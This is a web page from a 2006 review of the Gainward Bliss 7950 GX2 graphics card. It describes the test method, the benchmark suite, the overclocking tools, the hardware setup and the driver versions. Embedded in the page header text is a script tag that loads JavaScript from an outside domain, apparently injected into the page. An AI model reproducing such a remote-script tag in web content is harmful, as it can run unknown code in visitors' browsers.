Gainward Bliss 7950 GX2

Test Setup

Published: 25th September 2006 | Source: Gainward | Price: | Author: Matt Kemp

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 23/09/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Gainward

How we tested

With the pure speed of cards out on the market at the moment I tend to focus on gameplay in my reviews. I will play each of the test suite games on as high settings as I could possibly play them at while maintaining a frame rate that is enjoyable to play at. If the quality of the gaming looks the same at different settings then I will choose the setting with the best FPS. This differs from game to game and person to person but I play a lot of games and have played with a lot of graphics cards so I hope that I can impart a decent opinion.

To offset this angle I also run a test suite of 3dMark03, 05 and 06. These will give you some numbers on what the cards perform like at stock speeds, for comparison. I also ran 3dMark06 after overclocking the cards - to see how much of an effect the overclocking will make. Overclocking was performed using the nVidia "Coolbits" reg hack as discussed here in the forums. ATI overclocking will be performed using the "Overdrive" facility in ATI's drivers.

Test Setup

For this high-end card I am using an overclocked Core2Duo E6600 running at 3.33GHz. Hopefully this will rule out as much bottleneck caused by the processor as possible.

Intel Core2Duo E6600 @ 3.33GHz
Asus P5W Dh Deluxe
Mushkin HP2 PC6400 running at SPD (CAS 5) due to motherboard restrictions
HDD: OS - 160gb Hitachi Deskstar SATA II
HDD: Gaming - 2 x 40gb Hitachi Deskstars in RAID 0
Sound: HDA Digital X-Mystique
Power: PCP&C 510 SLi
Case: Lian Li PC75b Project <<|Black3D|>>
Custom Watercooling

For installation I have installed the card as usual with the normal PCI-E power dongle. Checked that the card is seated correctly and powered on. I am using a clean install of Windows XP Professional SP2 with all the latest patches.

For the X1950XT-X I am using modified drivers provided by Powercolor, adopted from the ATI Catalyst 6.8's.

For the nVidia cards I am using nVidia's latest official Forceware drivers - 91.43.

Powercolor X1950XT-X. Clock Speed: 650. Memory speed: 2000 (1000)

Gainward 7950 GX2. Clock Speed: 2 x 500. Memory Speed 600 (1200)